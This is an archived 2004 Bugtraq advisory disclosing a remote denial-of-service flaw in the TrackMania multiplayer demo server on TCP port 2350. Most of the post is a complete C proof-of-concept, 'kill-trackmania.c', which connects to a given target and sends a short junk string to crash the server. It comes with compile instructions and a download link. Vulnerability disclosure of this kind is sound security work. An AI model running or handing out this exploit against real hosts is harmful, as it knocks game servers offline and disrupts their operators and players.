bugtraq - TrackMania Demo Denial of Service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <200402081704.50845.webmaster@securiteinfo.com>
Date: Sun, 8 Feb 2004 17:04:50 +0100
From: scrap <webmaster@...uriteinfo.com>
To: bugtraq@...urityfocus.com
Subject: TrackMania Demo Denial of Service

TrackMania Demo Denial of Service
The original document can be found at
http://www.securiteinfo.com/attaques/hacking/trackmaniados.shtml

.oO  Overview Oo.
TrackMania Demo Denial of Service
Discovered on 2003, November, 30th
Vendor: TrackMania Official website http://www.trackmania.com

TrackMania is a "Stunt Car Racer" like game. The multiplayer demo of this game 
is subject to denial of service.

.oO  Details Oo.
The multiplayer game use TCP port 2350 to communicate. If you send some 
garbage to this port, it will shutdown the game server.

.oO  Exploit Oo.
Here is the proof of concept :

/*
* [kill-trackmania.c]
* A remote DoS that affects the Trackmania game server
*
* by Scrap
* webmaster@...uriteinfo.com
* http://www.securiteinfo.com
*
* gcc kill-trackmania.c -o kill-trackmania -O2
*
*/

#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
int sock;
struct sockaddr_in sin;
struct hostent *he;
unsigned long start;
char buffer[1024];
unsigned long counter;

printf("\n [kill-trackmania.c] by Scrap / Securiteinfo.com\n");

if (argc<2)

{
printf("Usage: %s target\n\n",argv[0]);
exit(0);
}

if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname");
exit(0);
}

start=inet_addr(argv[1]);
counter=ntohl(start);

sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(2350);

if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
perror("connect");
exit(0);
}
printf("\n\t Sending Bomb... \n");
send(sock, "Bomb from Securiteinfo.com\n\n",17,0);
close(sock);

printf("\t Bomb sent...\n");

}

Download kill-trackmania.c at 
http://www.securiteinfo.com/download/kill-trackmania.c

.oO  Solution Oo.
The vendor has been informed and has not solved the problem.

.oO  Discovered by Oo.
Arnaud Jacques aka scrap
webmaster@...uriteinfo.com
http://www.securiteinfo.com